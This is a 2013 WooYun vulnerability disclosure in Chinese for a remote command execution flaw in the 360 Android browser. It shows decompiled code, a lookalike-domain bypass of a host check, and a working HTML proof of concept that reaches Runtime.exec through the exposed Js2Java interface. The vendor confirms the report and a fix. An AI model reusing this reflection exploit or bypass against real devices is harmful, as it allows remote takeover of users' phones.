当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-036253

漏洞标题:360手机浏览器安卓版远程命令执行漏洞(可远程控制用户手机和挂马)

相关厂商:奇虎360

漏洞作者: 只抽红梅

提交时间:2013-09-06 11:01

修复时间:2013-12-05 11:02

公开时间:2013-12-05 11:02

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-06: 细节已通知厂商并且等待厂商处理中
2013-09-06: 厂商已经确认,细节仅向厂商公开
2013-09-09: 细节向第三方安全合作伙伴开放
2013-10-31: 细节向核心白帽子及相关领域专家公开
2013-11-10: 细节向普通白帽子公开
2013-11-20: 细节向实习白帽子公开
2013-12-05: 细节向公众公开

简要描述:

关键时刻,怎能少了 360,360 浏览器一样存在问题,同样预警!over!

详细说明:

没错就是安卓的那个 webview 的远程代码执行漏洞。之所以到现在没人报是因为隐藏的稍微那么深一点,废话少说下面走起。
1、用我们的方法测试下,访问含有下面代码的页面来让我们目测下:

<script type="text/javascript">
for(w in window){
document.write(w + "<br/>");
}
</script>


上面代码是遍历所有的 window 对象,经过目测都是系统对象,并没有看到 360 浏览器有通过 addJavascriptInterface 公开方法出来。
2、真的没有么?深入挖掘下看看呢。在官方下载 apk 文件,反编译(过程略)。通过 jd-gui 在反编译后带的代码中搜索 addJavascriptInterface 关键字,找到了如下的代码:

public static void addJavascriptInterface(ace paramace)
{
if ((paramace == null) || (!a(paramace)));
while (true)
{
return;
try
{
paramace.addJavascriptInterface(new aho(), "Js2Java");
}
catch (Exception localException)
{
localException.printStackTrace();
}
}
}


看代码公开 Js2Java 方法是需要一定条件才能够触发的,那我们就来找到触发的条件。
由于 jar 反编译成 java 代码并不是原生的 java 代码并且逻辑上也比较奇怪,所以我们就大致来判断吧,看下面:
if ((paramace == null) || (!a(paramace)));
这对 paramace 进行是空以及通过 a 函数来判断,随后才会进入到 addJavascriptInterface 流程。
我们继续跟进 a 函数:

private static boolean a(ace paramace)
{
boolean bool = false;
String str1 = paramace.getUrl();
int j;
if (!avf.a(str1))
{
String str2 = Uri.parse(str1).getHost();
String[] arrayOfString = a;
int i = arrayOfString.length;
j = 0;
if (j < i)
if (str2.contains(arrayOfString[j]))
{
bhr.c("JSInterfaceHandler", "this url CAN add javascript interface url = " + str1);
bool = true;
}
}
while (true)
{
return bool;
j++;
break;
bhr.c("JSInterfaceHandler", "this url CANOT add javascript interface url = " + str1);
}
}


通过这段代码我们就又能够了解更多的信息,关键代码为:

if (str2.contains(arrayOfString[j]))
{
bhr.c("JSInterfaceHandler", "this url CAN add javascript interface url = " + str1);
bool = true;
}


通过判断 str2 这个字符串是否包含 arrayOfString[j]) 来决定是否公开 Js2Java 方法。str2 通过代码可以看到是当前 url 的 host 值。arrayOfString[j]) 呢?我们在上面的代码中又找到了:

static
{
String[] arrayOfString = new String[1];
arrayOfString[0] = "yunpan.360.cn";
}


到这里我们有个大致清晰的思路就是,如果当前访问的页面域名为 yunpan.360.cn,我们就能够通过 JavaScript 来调用 Js2Java 方法。
3、我最先想到的就是通过修改手机上 hosts 文件把 yunpan.360.cn 这个域名指向我们自己的服务器来判断我们的判断是否正确。修改后直接访问含有上面那段列出 window 对象的代码页面。发现没有 Js2Java,诡异,难道我们的判断出现错误了么(这里其实是一个坑,下面会提到)?
4、有点不甘心啊,会过去看代码,我们看到一个地方:
bhr.c("JSInterfaceHandler", "this url CAN add javascript interface url = " + str1);
这里看起来像是调试日志,然后我们把手机连接上电脑,通过 adb logcat 来看是否有日志打印出来。分别访问 yunpan.360.cn 和 www.baidu.com 域名,发现没有任何日志打印出来。
5、我…,打住,淡定点。缕一下。没有日志输出是不是会有类似于一个开关的呢,毕竟 360 的开发人员也是专业的么,好既然是通过 bhr.c 来输出的日志,我们就跟过去看看:

public static int c(String paramString1, String paramString2)
{
if ((!a) || (paramString2 == null));
for (int i = 0; ; i = Log.e(paramString1, paramString2))
return i;
}


从上面看的确是通过 Log.e 来打印的日志,但是有个逻辑就是 a 变量,在前面我们找到了:
public static boolean a = avc.a;
a 是一个布尔值,是由 avc.a 来控制的,跟进去:
public static boolean a = false;
看到这里是 false ,果然,如果能够改为 true 就应该能够打印出日志的。
6、既然前方有曙光,我们就不要停止脚步。之前我们通过烦编辑 apk 得到源代码了。既然是在 avc 这个文件里面定义的,我们就找到之前反编译得到的 avc.smali 文件,找到如下的代码:

const/4 v2, 0x0
#v2=(One);
sput-boolean v2, Lavc;->a:Z
sput-boolean v2, Lavc;->b:Z
sput-boolean v2, Lavc;->e:Z


这里是定义 a 变量的值,我们修改为:

const/4 v2, 0x1
#v2=(One);
sput-boolean v2, Lavc;->a:Z

const/4 v2, 0x0
sput-boolean v2, Lavc;->b:Z
sput-boolean v2, Lavc;->e:Z


把 a 的值改为 1,其他保持不变。重新打包,签名,再次安装。
然后在电脑端的终端中输入:adb logcat | grep JSInterfaceHandler 来过滤日志输出,这个时候手机访问 yunpan.360.cn 和 www.baidu.com 就可以看到日志了:

xxx@xxx:~ $ adb logcat | grep JSInterfaceHandler
E/JSInterfaceHandler(23409): this url CANOT add javascript interface url = http://www.baidu.com/
E/JSInterfaceHandler(23409): this url CAN add javascript interface url = http://yunpan.360.cn/?qtrad=1


再次证明之前我们的判断是正确的,但是问题出在哪里呢?
7、这样的话我们就需要一个 yunpan.360.cn 域下的 xss,xss,xss,xss,好烦啊,可我还是去找了会,突然,别激动,不是找到 xss 了,而是我们忽略了之前一个问题。就是这里:
str2.contains(arrayOfString[j])
这里只是一个包含的关系,并不是等于的关系,那么你懂了么?只要我们的域名中含有 yunpan.360.cn 就可以绕过这个逻辑了,哈哈哈哈哈哈哈哈哈哈哈。
我们吧 yunpan.360.cn.hongmei.me 解析到我们的服务器上面,访问。
纳尼,没有任何日志输出。我…。
8、淡定,肯定是有哪里不对,我直接把 yunpan.360.cn 首页下载到服务器上面,再次访问,哈哈,有了。看来是会判断页面中的元素了,这就是前面提到的坑,最开始我们的代码只有一个 script 标签。下面是日志:
E/JSInterfaceHandler(23409): this url CAN add javascript interface url = http://yunpan.360.cn.hongmei.me/360_poc.html
多么美好的一句话啊,从来没有对英文这么有好感过。
9、既然,那么。好吧下面就是我们最终的 POC:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script type="text/javascript">
if(window.Js2Java){
try{
Js2Java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(["/system/bin/sh","-c","echo '360 mobile browser for android remote command execute' > /sdcard/360.txt"]);
alert('good job');
}catch(e){
alert(e);
}
}
</script>
<title>360 mobile browser remote command execute poc</title>
</body>
</html>


10、再次访问我们的 POC 链接:
http://yunpan.360.cn.hongmei.me/360_poc.html
然后就去看执行的效果吧。

360_1.png


360_2.png


360_3.png


漏洞证明:

360_1.png


360_2.png


360_3.png

修复方案:

1、可以考虑严格的过滤方案吧。

版权声明:转载请注明来源 只抽红梅@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-09-06 13:12

厂商回复:

针对WebView中的接口安全问题,之前360手机浏览器已经做了防护措施。感谢乌云白帽子反馈,帮助我们找到了一处防护缺陷,现已推出新版修复,欢迎继续关注测试。

最新状态:

暂无